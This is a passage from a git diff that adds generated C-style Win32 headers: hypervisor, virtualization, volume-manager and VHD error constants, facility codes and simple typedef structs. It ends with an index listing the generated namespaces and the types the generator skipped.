ERROR_HV_NOT_ACKNOWLEDGED 0xc0350014 +#define ERROR_HV_INVALID_VP_STATE 0xc0350015 +#define ERROR_HV_ACKNOWLEDGED 0xc0350016 +#define ERROR_HV_INVALID_SAVE_RESTORE_STATE 0xc0350017 +#define ERROR_HV_INVALID_SYNIC_STATE 0xc0350018 +#define ERROR_HV_OBJECT_IN_USE 0xc0350019 +#define ERROR_HV_INVALID_PROXIMITY_DOMAIN_INFO 0xc035001a +#define ERROR_HV_NO_DATA 0xc035001b +#define ERROR_HV_INACTIVE 0xc035001c +#define ERROR_HV_NO_RESOURCES 0xc035001d +#define ERROR_HV_FEATURE_UNAVAILABLE 0xc035001e +#define ERROR_HV_INSUFFICIENT_BUFFER 0xc0350033 +#define ERROR_HV_INSUFFICIENT_DEVICE_DOMAINS 0xc0350038 +#define ERROR_HV_CPUID_FEATURE_VALIDATION 0xc035003c +#define ERROR_HV_CPUID_XSAVE_FEATURE_VALIDATION 0xc035003d +#define ERROR_HV_PROCESSOR_STARTUP_TIMEOUT 0xc035003e +#define ERROR_HV_SMX_ENABLED 0xc035003f +#define ERROR_HV_INVALID_LP_INDEX 0xc0350041 +#define ERROR_HV_INVALID_REGISTER_VALUE 0xc0350050 +#define ERROR_HV_INVALID_VTL_STATE 0xc0350051 +#define ERROR_HV_NX_NOT_DETECTED 0xc0350055 +#define ERROR_HV_INVALID_DEVICE_ID 0xc0350057 +#define ERROR_HV_INVALID_DEVICE_STATE 0xc0350058 +#define ERROR_HV_PENDING_PAGE_REQUESTS 0x350059 +#define ERROR_HV_PAGE_REQUEST_INVALID 0xc0350060 +#define ERROR_HV_INVALID_CPU_GROUP_ID 0xc035006f +#define ERROR_HV_INVALID_CPU_GROUP_STATE 0xc0350070 +#define ERROR_HV_OPERATION_FAILED 0xc0350071 +#define ERROR_HV_NOT_ALLOWED_WITH_NESTED_VIRT_ACTIVE 0xc0350072 +#define ERROR_HV_INSUFFICIENT_ROOT_MEMORY 0xc0350073 +#define ERROR_HV_EVENT_BUFFER_ALREADY_FREED 0xc0350074 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_MEMORY 0xc0350075 +#define ERROR_HV_DEVICE_NOT_IN_DOMAIN 0xc0350076 +#define ERROR_HV_NESTED_VM_EXIT 0xc0350077 +#define ERROR_HV_MSR_ACCESS_FAILED 0xc0350080 +#define ERROR_HV_INSUFFICIENT_MEMORY_MIRRORING 0xc0350081 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_MEMORY_MIRRORING 0xc0350082 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY 0xc0350083 +#define ERROR_HV_INSUFFICIENT_ROOT_MEMORY_MIRRORING 0xc0350084 +#define ERROR_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY_MIRRORING 0xc0350085 +#define ERROR_HV_VTL_ALREADY_ENABLED 0xc0350086 +#define ERROR_HV_SPDM_REQUEST 0xc0350088 +#define ERROR_HV_NOT_PRESENT 0xc0351000 +#define ERROR_VID_DUPLICATE_HANDLER 0xc0370001 +#define ERROR_VID_TOO_MANY_HANDLERS 0xc0370002 +#define ERROR_VID_QUEUE_FULL 0xc0370003 +#define ERROR_VID_HANDLER_NOT_PRESENT 0xc0370004 +#define ERROR_VID_INVALID_OBJECT_NAME 0xc0370005 +#define ERROR_VID_PARTITION_NAME_TOO_LONG 0xc0370006 +#define ERROR_VID_MESSAGE_QUEUE_NAME_TOO_LONG 0xc0370007 +#define ERROR_VID_PARTITION_ALREADY_EXISTS 0xc0370008 +#define ERROR_VID_PARTITION_DOES_NOT_EXIST 0xc0370009 +#define ERROR_VID_PARTITION_NAME_NOT_FOUND 0xc037000a +#define ERROR_VID_MESSAGE_QUEUE_ALREADY_EXISTS 0xc037000b +#define ERROR_VID_EXCEEDED_MBP_ENTRY_MAP_LIMIT 0xc037000c +#define ERROR_VID_MB_STILL_REFERENCED 0xc037000d +#define ERROR_VID_CHILD_GPA_PAGE_SET_CORRUPTED 0xc037000e +#define ERROR_VID_INVALID_NUMA_SETTINGS 0xc037000f +#define ERROR_VID_INVALID_NUMA_NODE_INDEX 0xc0370010 +#define ERROR_VID_NOTIFICATION_QUEUE_ALREADY_ASSOCIATED 0xc0370011 +#define ERROR_VID_INVALID_MEMORY_BLOCK_HANDLE 0xc0370012 +#define ERROR_VID_PAGE_RANGE_OVERFLOW 0xc0370013 +#define ERROR_VID_INVALID_MESSAGE_QUEUE_HANDLE 0xc0370014 +#define ERROR_VID_INVALID_GPA_RANGE_HANDLE 0xc0370015 +#define ERROR_VID_NO_MEMORY_BLOCK_NOTIFICATION_QUEUE 0xc0370016 +#define ERROR_VID_MEMORY_BLOCK_LOCK_COUNT_EXCEEDED 0xc0370017 +#define ERROR_VID_INVALID_PPM_HANDLE 0xc0370018 +#define ERROR_VID_MBPS_ARE_LOCKED 0xc0370019 +#define ERROR_VID_MESSAGE_QUEUE_CLOSED 0xc037001a +#define ERROR_VID_VIRTUAL_PROCESSOR_LIMIT_EXCEEDED 0xc037001b +#define ERROR_VID_STOP_PENDING 0xc037001c +#define ERROR_VID_INVALID_PROCESSOR_STATE 0xc037001d +#define ERROR_VID_EXCEEDED_KM_CONTEXT_COUNT_LIMIT 0xc037001e +#define ERROR_VID_KM_INTERFACE_ALREADY_INITIALIZED 0xc037001f +#define ERROR_VID_MB_PROPERTY_ALREADY_SET_RESET 0xc0370020 +#define ERROR_VID_MMIO_RANGE_DESTROYED 0xc0370021 +#define ERROR_VID_INVALID_CHILD_GPA_PAGE_SET 0xc0370022 +#define ERROR_VID_RESERVE_PAGE_SET_IS_BEING_USED 0xc0370023 +#define ERROR_VID_RESERVE_PAGE_SET_TOO_SMALL 0xc0370024 +#define ERROR_VID_MBP_ALREADY_LOCKED_USING_RESERVED_PAGE 0xc0370025 +#define ERROR_VID_MBP_COUNT_EXCEEDED_LIMIT 0xc0370026 +#define ERROR_VID_SAVED_STATE_CORRUPT 0xc0370027 +#define ERROR_VID_SAVED_STATE_UNRECOGNIZED_ITEM 0xc0370028 +#define ERROR_VID_SAVED_STATE_INCOMPATIBLE 0xc0370029 +#define ERROR_VID_VTL_ACCESS_DENIED 0xc037002a +#define ERROR_VID_INSUFFICIENT_RESOURCES_RESERVE 0xc037002b +#define ERROR_VID_INSUFFICIENT_RESOURCES_PHYSICAL_BUFFER 0xc037002c +#define ERROR_VID_INSUFFICIENT_RESOURCES_HV_DEPOSIT 0xc037002d +#define ERROR_VID_MEMORY_TYPE_NOT_SUPPORTED 0xc037002e +#define ERROR_VID_INSUFFICIENT_RESOURCES_WITHDRAW 0xc037002f +#define ERROR_VID_PROCESS_ALREADY_SET 0xc0370030 +#define ERROR_VMCOMPUTE_TERMINATED_DURING_START 0xc0370100 +#define ERROR_VMCOMPUTE_IMAGE_MISMATCH 0xc0370101 +#define ERROR_VMCOMPUTE_HYPERV_NOT_INSTALLED 0xc0370102 +#define ERROR_VMCOMPUTE_OPERATION_PENDING 0xc0370103 +#define ERROR_VMCOMPUTE_TOO_MANY_NOTIFICATIONS 0xc0370104 +#define ERROR_VMCOMPUTE_INVALID_STATE 0xc0370105 +#define ERROR_VMCOMPUTE_UNEXPECTED_EXIT 0xc0370106 +#define ERROR_VMCOMPUTE_TERMINATED 0xc0370107 +#define ERROR_VMCOMPUTE_CONNECT_FAILED 0xc0370108 +#define ERROR_VMCOMPUTE_TIMEOUT 0xc0370109 +#define ERROR_VMCOMPUTE_CONNECTION_CLOSED 0xc037010a +#define ERROR_VMCOMPUTE_UNKNOWN_MESSAGE 0xc037010b +#define ERROR_VMCOMPUTE_UNSUPPORTED_PROTOCOL_VERSION 0xc037010c +#define ERROR_VMCOMPUTE_INVALID_JSON 0xc037010d +#define ERROR_VMCOMPUTE_SYSTEM_NOT_FOUND 0xc037010e +#define ERROR_VMCOMPUTE_SYSTEM_ALREADY_EXISTS 0xc037010f +#define ERROR_VMCOMPUTE_SYSTEM_ALREADY_STOPPED 0xc0370110 +#define ERROR_VMCOMPUTE_PROTOCOL_ERROR 0xc0370111 +#define ERROR_VMCOMPUTE_INVALID_LAYER 0xc0370112 +#define ERROR_VMCOMPUTE_WINDOWS_INSIDER_REQUIRED 0xc0370113 +#define ERROR_VNET_VIRTUAL_SWITCH_NAME_NOT_FOUND 0xc0370200 +#define ERROR_VID_REMOTE_NODE_PARENT_GPA_PAGES_USED 0x80370001 +#define ERROR_VSMB_SAVED_STATE_FILE_NOT_FOUND 0xc0370400 +#define ERROR_VSMB_SAVED_STATE_CORRUPT 0xc0370401 +#define ERROR_VOLMGR_INCOMPLETE_REGENERATION 0x80380001 +#define ERROR_VOLMGR_INCOMPLETE_DISK_MIGRATION 0x80380002 +#define ERROR_VOLMGR_DATABASE_FULL 0xc0380001 +#define ERROR_VOLMGR_DISK_CONFIGURATION_CORRUPTED 0xc0380002 +#define ERROR_VOLMGR_DISK_CONFIGURATION_NOT_IN_SYNC 0xc0380003 +#define ERROR_VOLMGR_PACK_CONFIG_UPDATE_FAILED 0xc0380004 +#define ERROR_VOLMGR_DISK_CONTAINS_NON_SIMPLE_VOLUME 0xc0380005 +#define ERROR_VOLMGR_DISK_DUPLICATE 0xc0380006 +#define ERROR_VOLMGR_DISK_DYNAMIC 0xc0380007 +#define ERROR_VOLMGR_DISK_ID_INVALID 0xc0380008 +#define ERROR_VOLMGR_DISK_INVALID 0xc0380009 +#define ERROR_VOLMGR_DISK_LAST_VOTER 0xc038000a +#define ERROR_VOLMGR_DISK_LAYOUT_INVALID 0xc038000b +#define ERROR_VOLMGR_DISK_LAYOUT_NON_BASIC_BETWEEN_BASIC_PARTITIONS 0xc038000c +#define ERROR_VOLMGR_DISK_LAYOUT_NOT_CYLINDER_ALIGNED 0xc038000d +#define ERROR_VOLMGR_DISK_LAYOUT_PARTITIONS_TOO_SMALL 0xc038000e +#define ERROR_VOLMGR_DISK_LAYOUT_PRIMARY_BETWEEN_LOGICAL_PARTITIONS 0xc038000f +#define ERROR_VOLMGR_DISK_LAYOUT_TOO_MANY_PARTITIONS 0xc0380010 +#define ERROR_VOLMGR_DISK_MISSING 0xc0380011 +#define ERROR_VOLMGR_DISK_NOT_EMPTY 0xc0380012 +#define ERROR_VOLMGR_DISK_NOT_ENOUGH_SPACE 0xc0380013 +#define ERROR_VOLMGR_DISK_REVECTORING_FAILED 0xc0380014 +#define ERROR_VOLMGR_DISK_SECTOR_SIZE_INVALID 0xc0380015 +#define ERROR_VOLMGR_DISK_SET_NOT_CONTAINED 0xc0380016 +#define ERROR_VOLMGR_DISK_USED_BY_MULTIPLE_MEMBERS 0xc0380017 +#define ERROR_VOLMGR_DISK_USED_BY_MULTIPLE_PLEXES 0xc0380018 +#define ERROR_VOLMGR_DYNAMIC_DISK_NOT_SUPPORTED 0xc0380019 +#define ERROR_VOLMGR_EXTENT_ALREADY_USED 0xc038001a +#define ERROR_VOLMGR_EXTENT_NOT_CONTIGUOUS 0xc038001b +#define ERROR_VOLMGR_EXTENT_NOT_IN_PUBLIC_REGION 0xc038001c +#define ERROR_VOLMGR_EXTENT_NOT_SECTOR_ALIGNED 0xc038001d +#define ERROR_VOLMGR_EXTENT_OVERLAPS_EBR_PARTITION 0xc038001e +#define ERROR_VOLMGR_EXTENT_VOLUME_LENGTHS_DO_NOT_MATCH 0xc038001f +#define ERROR_VOLMGR_FAULT_TOLERANT_NOT_SUPPORTED 0xc0380020 +#define ERROR_VOLMGR_INTERLEAVE_LENGTH_INVALID 0xc0380021 +#define ERROR_VOLMGR_MAXIMUM_REGISTERED_USERS 0xc0380022 +#define ERROR_VOLMGR_MEMBER_IN_SYNC 0xc0380023 +#define ERROR_VOLMGR_MEMBER_INDEX_DUPLICATE 0xc0380024 +#define ERROR_VOLMGR_MEMBER_INDEX_INVALID 0xc0380025 +#define ERROR_VOLMGR_MEMBER_MISSING 0xc0380026 +#define ERROR_VOLMGR_MEMBER_NOT_DETACHED 0xc0380027 +#define ERROR_VOLMGR_MEMBER_REGENERATING 0xc0380028 +#define ERROR_VOLMGR_ALL_DISKS_FAILED 0xc0380029 +#define ERROR_VOLMGR_NO_REGISTERED_USERS 0xc038002a +#define ERROR_VOLMGR_NO_SUCH_USER 0xc038002b +#define ERROR_VOLMGR_NOTIFICATION_RESET 0xc038002c +#define ERROR_VOLMGR_NUMBER_OF_MEMBERS_INVALID 0xc038002d +#define ERROR_VOLMGR_NUMBER_OF_PLEXES_INVALID 0xc038002e +#define ERROR_VOLMGR_PACK_DUPLICATE 0xc038002f +#define ERROR_VOLMGR_PACK_ID_INVALID 0xc0380030 +#define ERROR_VOLMGR_PACK_INVALID 0xc0380031 +#define ERROR_VOLMGR_PACK_NAME_INVALID 0xc0380032 +#define ERROR_VOLMGR_PACK_OFFLINE 0xc0380033 +#define ERROR_VOLMGR_PACK_HAS_QUORUM 0xc0380034 +#define ERROR_VOLMGR_PACK_WITHOUT_QUORUM 0xc0380035 +#define ERROR_VOLMGR_PARTITION_STYLE_INVALID 0xc0380036 +#define ERROR_VOLMGR_PARTITION_UPDATE_FAILED 0xc0380037 +#define ERROR_VOLMGR_PLEX_IN_SYNC 0xc0380038 +#define ERROR_VOLMGR_PLEX_INDEX_DUPLICATE 0xc0380039 +#define ERROR_VOLMGR_PLEX_INDEX_INVALID 0xc038003a +#define ERROR_VOLMGR_PLEX_LAST_ACTIVE 0xc038003b +#define ERROR_VOLMGR_PLEX_MISSING 0xc038003c +#define ERROR_VOLMGR_PLEX_REGENERATING 0xc038003d +#define ERROR_VOLMGR_PLEX_TYPE_INVALID 0xc038003e +#define ERROR_VOLMGR_PLEX_NOT_RAID5 0xc038003f +#define ERROR_VOLMGR_PLEX_NOT_SIMPLE 0xc0380040 +#define ERROR_VOLMGR_STRUCTURE_SIZE_INVALID 0xc0380041 +#define ERROR_VOLMGR_TOO_MANY_NOTIFICATION_REQUESTS 0xc0380042 +#define ERROR_VOLMGR_TRANSACTION_IN_PROGRESS 0xc0380043 +#define ERROR_VOLMGR_UNEXPECTED_DISK_LAYOUT_CHANGE 0xc0380044 +#define ERROR_VOLMGR_VOLUME_CONTAINS_MISSING_DISK 0xc0380045 +#define ERROR_VOLMGR_VOLUME_ID_INVALID 0xc0380046 +#define ERROR_VOLMGR_VOLUME_LENGTH_INVALID 0xc0380047 +#define ERROR_VOLMGR_VOLUME_LENGTH_NOT_SECTOR_SIZE_MULTIPLE 0xc0380048 +#define ERROR_VOLMGR_VOLUME_NOT_MIRRORED 0xc0380049 +#define ERROR_VOLMGR_VOLUME_NOT_RETAINED 0xc038004a +#define ERROR_VOLMGR_VOLUME_OFFLINE 0xc038004b +#define ERROR_VOLMGR_VOLUME_RETAINED 0xc038004c +#define ERROR_VOLMGR_NUMBER_OF_EXTENTS_INVALID 0xc038004d +#define ERROR_VOLMGR_DIFFERENT_SECTOR_SIZE 0xc038004e +#define ERROR_VOLMGR_BAD_BOOT_DISK 0xc038004f +#define ERROR_VOLMGR_PACK_CONFIG_OFFLINE 0xc0380050 +#define ERROR_VOLMGR_PACK_CONFIG_ONLINE 0xc0380051 +#define ERROR_VOLMGR_NOT_PRIMARY_PACK 0xc0380052 +#define ERROR_VOLMGR_PACK_LOG_UPDATE_FAILED 0xc0380053 +#define ERROR_VOLMGR_NUMBER_OF_DISKS_IN_PLEX_INVALID 0xc0380054 +#define ERROR_VOLMGR_NUMBER_OF_DISKS_IN_MEMBER_INVALID 0xc0380055 +#define ERROR_VOLMGR_VOLUME_MIRRORED 0xc0380056 +#define ERROR_VOLMGR_PLEX_NOT_SIMPLE_SPANNED 0xc0380057 +#define ERROR_VOLMGR_NO_VALID_LOG_COPIES 0xc0380058 +#define ERROR_VOLMGR_PRIMARY_PACK_PRESENT 0xc0380059 +#define ERROR_VOLMGR_NUMBER_OF_DISKS_INVALID 0xc038005a +#define ERROR_VOLMGR_MIRROR_NOT_SUPPORTED 0xc038005b +#define ERROR_VOLMGR_RAID5_NOT_SUPPORTED 0xc038005c +#define ERROR_BCD_NOT_ALL_ENTRIES_IMPORTED 0x80390001 +#define ERROR_BCD_TOO_MANY_ELEMENTS 0xc0390002 +#define ERROR_BCD_NOT_ALL_ENTRIES_SYNCHRONIZED 0x80390003 +#define ERROR_VHD_DRIVE_FOOTER_MISSING 0xc03a0001 +#define ERROR_VHD_DRIVE_FOOTER_CHECKSUM_MISMATCH 0xc03a0002 +#define ERROR_VHD_DRIVE_FOOTER_CORRUPT 0xc03a0003 +#define ERROR_VHD_FORMAT_UNKNOWN 0xc03a0004 +#define ERROR_VHD_FORMAT_UNSUPPORTED_VERSION 0xc03a0005 +#define ERROR_VHD_SPARSE_HEADER_CHECKSUM_MISMATCH 0xc03a0006 +#define ERROR_VHD_SPARSE_HEADER_UNSUPPORTED_VERSION 0xc03a0007 +#define ERROR_VHD_SPARSE_HEADER_CORRUPT 0xc03a0008 +#define ERROR_VHD_BLOCK_ALLOCATION_FAILURE 0xc03a0009 +#define ERROR_VHD_BLOCK_ALLOCATION_TABLE_CORRUPT 0xc03a000a +#define ERROR_VHD_INVALID_BLOCK_SIZE 0xc03a000b +#define ERROR_VHD_BITMAP_MISMATCH 0xc03a000c +#define ERROR_VHD_PARENT_VHD_NOT_FOUND 0xc03a000d +#define ERROR_VHD_CHILD_PARENT_ID_MISMATCH 0xc03a000e +#define ERROR_VHD_CHILD_PARENT_TIMESTAMP_MISMATCH 0xc03a000f +#define ERROR_VHD_METADATA_READ_FAILURE 0xc03a0010 +#define ERROR_VHD_METADATA_WRITE_FAILURE 0xc03a0011 +#define ERROR_VHD_INVALID_SIZE 0xc03a0012 +#define ERROR_VHD_INVALID_FILE_SIZE 0xc03a0013 +#define ERROR_VIRTDISK_PROVIDER_NOT_FOUND 0xc03a0014 +#define ERROR_VIRTDISK_NOT_VIRTUAL_DISK 0xc03a0015 +#define ERROR_VHD_PARENT_VHD_ACCESS_DENIED 0xc03a0016 +#define ERROR_VHD_CHILD_PARENT_SIZE_MISMATCH 0xc03a0017 +#define ERROR_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED 0xc03a0018 +#define ERROR_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT 0xc03a0019 +#define ERROR_VIRTUAL_DISK_LIMITATION 0xc03a001a +#define ERROR_VHD_INVALID_TYPE 0xc03a001b +#define ERROR_VHD_INVALID_STATE 0xc03a001c +#define ERROR_VIRTDISK_UNSUPPORTED_DISK_SECTOR_SIZE 0xc03a001d +#define ERROR_VIRTDISK_DISK_ALREADY_OWNED 0xc03a001e +#define ERROR_VIRTDISK_DISK_ONLINE_AND_WRITABLE 0xc03a001f +#define ERROR_CTLOG_TRACKING_NOT_INITIALIZED 0xc03a0020 +#define ERROR_CTLOG_LOGFILE_SIZE_EXCEEDED_MAXSIZE 0xc03a0021 +#define ERROR_CTLOG_VHD_CHANGED_OFFLINE 0xc03a0022 +#define ERROR_CTLOG_INVALID_TRACKING_STATE 0xc03a0023 +#define ERROR_CTLOG_INCONSISTENT_TRACKING_FILE 0xc03a0024 +#define ERROR_VHD_RESIZE_WOULD_TRUNCATE_DATA 0xc03a0025 +#define ERROR_VHD_COULD_NOT_COMPUTE_MINIMUM_VIRTUAL_SIZE 0xc03a0026 +#define ERROR_VHD_ALREADY_AT_OR_BELOW_MINIMUM_VIRTUAL_SIZE 0xc03a0027 +#define ERROR_VHD_METADATA_FULL 0xc03a0028 +#define ERROR_VHD_INVALID_CHANGE_TRACKING_ID 0xc03a0029 +#define ERROR_VHD_CHANGE_TRACKING_DISABLED 0xc03a002a +#define ERROR_VHD_MISSING_CHANGE_TRACKING_INFORMATION 0xc03a0030 +#define ERROR_VHD_UNEXPECTED_ID 0xc03a0034 +#define ERROR_QUERY_STORAGE_ERROR 0x803a0001 +#define GENERIC_READ 0x80000000 +#define GENERIC_WRITE 0x40000000 +#define GENERIC_EXECUTE 0x20000000 +#define GENERIC_ALL 0x10000000 +#define FACILITY_MCA_ERROR_CODE 0x5 +#define FACILITY_DEBUGGER 0x1 +#define FACILITY_RPC_RUNTIME 0x2 +#define FACILITY_RPC_STUBS 0x3 +#define FACILITY_IO_ERROR_CODE 0x4 +#define FACILITY_CODCLASS_ERROR_CODE 0x6 +#define FACILITY_NTWIN32 0x7 +#define FACILITY_NTCERT 0x8 +#define FACILITY_NTSSPI 0x9 +#define FACILITY_TERMINAL_SERVER 0xa +#define FACILITY_USB_ERROR_CODE 0x10 +#define FACILITY_HID_ERROR_CODE 0x11 +#define FACILITY_FIREWIRE_ERROR_CODE 0x12 +#define FACILITY_CLUSTER_ERROR_CODE 0x13 +#define FACILITY_ACPI_ERROR_CODE 0x14 +#define FACILITY_SXS_ERROR_CODE 0x15 +#define FACILITY_TRANSACTION 0x19 +#define FACILITY_COMMONLOG 0x1a +#define FACILITY_VIDEO 0x1b +#define FACILITY_FILTER_MANAGER 0x1c +#define FACILITY_MONITOR 0x1d +#define FACILITY_GRAPHICS_KERNEL 0x1e +#define FACILITY_CAMERA 0x1f +#define FACILITY_DRIVER_FRAMEWORK 0x20 +#define FACILITY_FVE_ERROR_CODE 0x21 +#define FACILITY_FWP_ERROR_CODE 0x22 +#define FACILITY_NDIS_ERROR_CODE 0x23 +#define FACILITY_QUIC_ERROR_CODE 0x24 +#define FACILITY_TPM 0x29 +#define FACILITY_RTPM 0x2a +#define FACILITY_HYPERVISOR 0x35 +#define FACILITY_IPSEC 0x36 +#define FACILITY_VIRTUALIZATION 0x37 +#define FACILITY_VOLMGR 0x38 +#define FACILITY_BCD_ERROR_CODE 0x39 +#define FACILITY_WIN32K_NTUSER 0x3e +#define FACILITY_WIN32K_NTGDI 0x3f +#define FACILITY_RESUME_KEY_FILTER 0x40 +#define FACILITY_RDBSS 0x41 +#define FACILITY_BTH_ATT 0x42 +#define FACILITY_SECUREBOOT 0x43 +#define FACILITY_AUDIO_KERNEL 0x44 +#define FACILITY_VSM 0x45 +#define FACILITY_NT_IORING 0x46 +#define FACILITY_VOLSNAP 0x50 +#define FACILITY_SDBUS 0x51 +#define FACILITY_SHARED_VHDX 0x5c +#define FACILITY_SMB 0x5d +#define FACILITY_XVS 0x5e +#define FACILITY_INTERIX 0x99 +#define FACILITY_SPACES 0xe7 +#define FACILITY_SECURITY_CORE 0xe8 +#define FACILITY_SYSTEM_INTEGRITY 0xe9 +#define FACILITY_LICENSING 0xea +#define FACILITY_PLATFORM_MANIFEST 0xeb +#define FACILITY_APP_EXEC 0xec +#define FACILITY_UNIONFS 0xed +#define FACILITY_PLATFORM_RUNTIME_MECHANISM 0xee +#define FACILITY_WIN_ACCEL 0xef +#define FACILITY_MAXIMUM_VALUE 0xf0 +#define STATUS_SEVERITY_SUCCESS 0x0 +#define STATUS_SEVERITY_INFORMATIONAL 0x1 +#define STATUS_SEVERITY_WARNING 0x2 +#define STATUS_SEVERITY_ERROR 0x3 +#define HANDLE_FLAG_INHERIT 0x1 +#define HANDLE_FLAG_PROTECT_FROM_CLOSE 0x2 +#define WAIT_OBJECT_0 0x0 +#define WAIT_ABANDONED 0x80 +#define WAIT_ABANDONED_0 0x80 +#define WAIT_IO_COMPLETION 0xc0 +#define WAIT_TIMEOUT 0x102 +#define WAIT_FAILED 0xffffffff +#define OBJ_INHERIT 0x2 +#define OBJ_PERMANENT 0x10 +#define OBJ_EXCLUSIVE 0x20 +#define OBJ_CASE_INSENSITIVE 0x40 +#define OBJ_OPENIF 0x80 +#define OBJ_OPENLINK 0x100 +#define OBJ_KERNEL_HANDLE 0x200 +#define OBJ_FORCE_ACCESS_CHECK 0x400 +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x800 +#define OBJ_DONT_REPARSE 0x1000 +#define OBJ_VALID_ATTRIBUTES 0x1ff2 + +typedef struct _LPARAM { + long long Value; +} LPARAM; + +typedef struct _HRSRC { + void* Value; +} HRSRC; + +typedef struct _HWND { + void* Value; +} HWND; + +typedef struct _NTSTATUS { + int Value; +} NTSTATUS; + +typedef struct _CHAR { + signed char Value; +} CHAR; + +typedef struct _HANDLE_PTR { + unsigned long long Value; +} HANDLE_PTR; + +typedef struct _FILETIME { + unsigned int dwLowDateTime; + unsigned int dwHighDateTime; +} FILETIME; + +typedef struct _POINT { + int x; + int y; +} POINT; + +typedef struct _HMODULE { + void* Value; +} HMODULE; + +typedef struct _PWSTR { + void* Value; +} PWSTR; + +typedef struct _POINTS { + short x; + short y; +} POINTS; + +typedef struct _HGLOBAL { + void* Value; +} HGLOBAL; + +typedef struct _HSTR { + void* Value; +} HSTR; + +typedef struct _HTASK { + void* Value; +} HTASK; + +typedef struct _DECIMAL { + unsigned short wReserved; + void* Anonymous1; + unsigned int Hi32; + void* Anonymous2; +} DECIMAL; + +typedef struct _PROPERTYKEY { + void* fmtid; + unsigned int pid; +} PROPERTYKEY; + +typedef struct _UNICODE_STRING { + unsigned short Length; + unsigned short MaximumLength; + void* Buffer; +} UNICODE_STRING; + +typedef struct _FLOAT128 { + long long LowPart; + long long HighPart; +} FLOAT128; + +typedef struct _HUMPD { + void* Value; +} HUMPD; + +typedef struct _HRESULT { + int Value; +} HRESULT; + +typedef struct _PSTR { + void* Value; +} PSTR; + +typedef struct _HLSURF { + void* Value; +} HLSURF; + +typedef struct _POINTL { + int x; + int y; +} POINTL; + +typedef struct _APP_LOCAL_DEVICE_ID { + unsigned char value[32]; +} APP_LOCAL_DEVICE_ID; + +typedef struct _SHANDLE_PTR { + long long Value; +} SHANDLE_PTR; + +typedef struct _COLORREF { + unsigned int Value; +} COLORREF; + +typedef struct _BOOL { + int Value; +} BOOL; + +typedef struct _DEVPROPKEY { + void* fmtid; + unsigned int pid; +} DEVPROPKEY; + +typedef struct _HLOCAL { + void* Value; +} HLOCAL; + +typedef struct _RECT { + int left; + int top; + int right; + int bottom; +} RECT; + +typedef struct _LUID { + unsigned int LowPart; + int HighPart; +} LUID; + +typedef struct _VARIANT_BOOL { + short Value; +} VARIANT_BOOL; + +typedef struct _LRESULT { + long long Value; +} LRESULT; + +typedef struct _HANDLE { + void* Value; +} HANDLE; + +typedef struct _SIZE { + int cx; + int cy; +} SIZE; + +typedef struct _BSTR { + void* Value; +} BSTR; + +typedef struct _WPARAM { + unsigned long long Value; +} WPARAM; + +typedef struct _HSPRITE { + void* Value; +} HSPRITE; + +typedef struct _SYSTEMTIME { + unsigned short wYear; + unsigned short wMonth; + unsigned short wDayOfWeek; + unsigned short wDay; + unsigned short wHour; + unsigned short wMinute; + unsigned short wSecond; + unsigned short wMilliseconds; +} SYSTEMTIME; + +typedef struct _RECTL { + int left; + int top; + int right; + int bottom; +} RECTL; + +typedef struct _HINSTANCE { + void* Value; +} HINSTANCE; + +typedef struct _BOOLEAN { + unsigned char Value; +} BOOLEAN; + diff --git a/stdlib/win32/index.md b/stdlib/win32/index.md new file mode 100644 index 0000000..de14d8b --- /dev/null +++ b/stdlib/win32/index.md @@ -0,0 +1,56 @@ +# Generated Win32 headers + +Produced by `entc-win32gen`. Each row is one namespace. + +| Namespace | File | Structs | Constants | Skipped | +|---|---|---:|---:|---:| +| Windows.Win32.Foundation | `foundation.h` | 42 | 10495 | 0 | +| Windows.Win32.System.Memory | `memory.h` | 18 | 144 | 0 | +| Windows.Win32.System.Threading | `threading.h` | 45 | 560 | 0 | +| Windows.Win32.System.Diagnostics.Debug | `debug.h` | 241 | 1678 | 1 | +| Windows.Win32.System.WindowsProgramming | `windowsprogramming.h` | 67 | 645 | 4 | +| Windows.Win32.System.Kernel | `kernel.h` | 22 | 43 | 0 | +| Windows.Win32.System.IO | `io.h` | 3 | 0 | 0 | +| Windows.Win32.System.LibraryLoader | `libraryloader.h` | 3 | 28 | 0 | +| Windows.Win32.System.Console | `console.h` | 29 | 141 | 0 | +| Windows.Win32.System.Pipes | `pipes.h` | 0 | 14 | 0 | +| Windows.Win32.System.Registry | `registry.h` | 8 | 951 | 0 | +| Windows.Win32.System.SystemServices | `systemservices.h` | 176 | 2378 | 0 | +| Windows.Win32.System.SystemInformation | `systeminformation.h` | 22 | 484 | 0 | +| Windows.Win32.System.Environment | `environment.h` | 13 | 22 | 0 | +| Windows.Win32.Security | `security.h` | 76 | 390 | 0 | +| Windows.Win32.Security.Authorization | `authorization.h` | 50 | 487 | 3 | +| Windows.Win32.Security.Cryptography | `cryptography.h` | 457 | 3979 | 5 | +| Windows.Win32.Storage.FileSystem | `filesystem.h` | 191 | 984 | 0 | +| Windows.Win32.Networking.WinSock | `winsock.h` | 259 | 1617 | 0 | +| Windows.Win32.Networking.WinHttp | `winhttp.h` | 40 | 743 | 1 | +| Windows.Win32.Networking.WinInet | `wininet.h` | 77 | 1087 | 1 | + +## Skipped types + +### Windows.Win32.Networking.WinHttp +- struct WinHttpRequest: no representable fields + +### Windows.Win32.Networking.WinInet +- struct ProofOfPossessionCookieInfoManager: no representable fields + +### Windows.Win32.Security.Authorization +- struct AzBizRuleContext: no representable fields +- struct AzAuthorizationStore: no representable fields +- struct AzPrincipalLocator: no representable fields + +### Windows.Win32.Security.Cryptography +- struct CCertSrvSetupKeyInformation: no representable fields +- struct CCertificateEnrollmentPolicyServerSetup: no representable fields +- struct CCertificateEnrollmentServerSetup: no representable fields +- struct CCertSrvSetup: no representable fields +- struct CMSCEPSetup: no representable fields + +### Windows.Win32.System.Diagnostics.Debug +- struct ARM64_NT_NEON128: floating-point fields not supported + +### Windows.Win32.System.WindowsProgramming +- struct EditionUpgradeHelper: no representable fields +- struct CameraUIControl: no representable fields +- struct DefaultBrowserSyncSettings: no representable fields +- struct EditionUpgradeBroker: no representable fields diff --git a/stdlib/win32/io.h b/stdlib/win32/io.h new file mode 100644 index 0000000..0710cd4 --- /dev/null +++ b/stdlib/win32/io.h @@ -0,0 +1,32 @@ +// 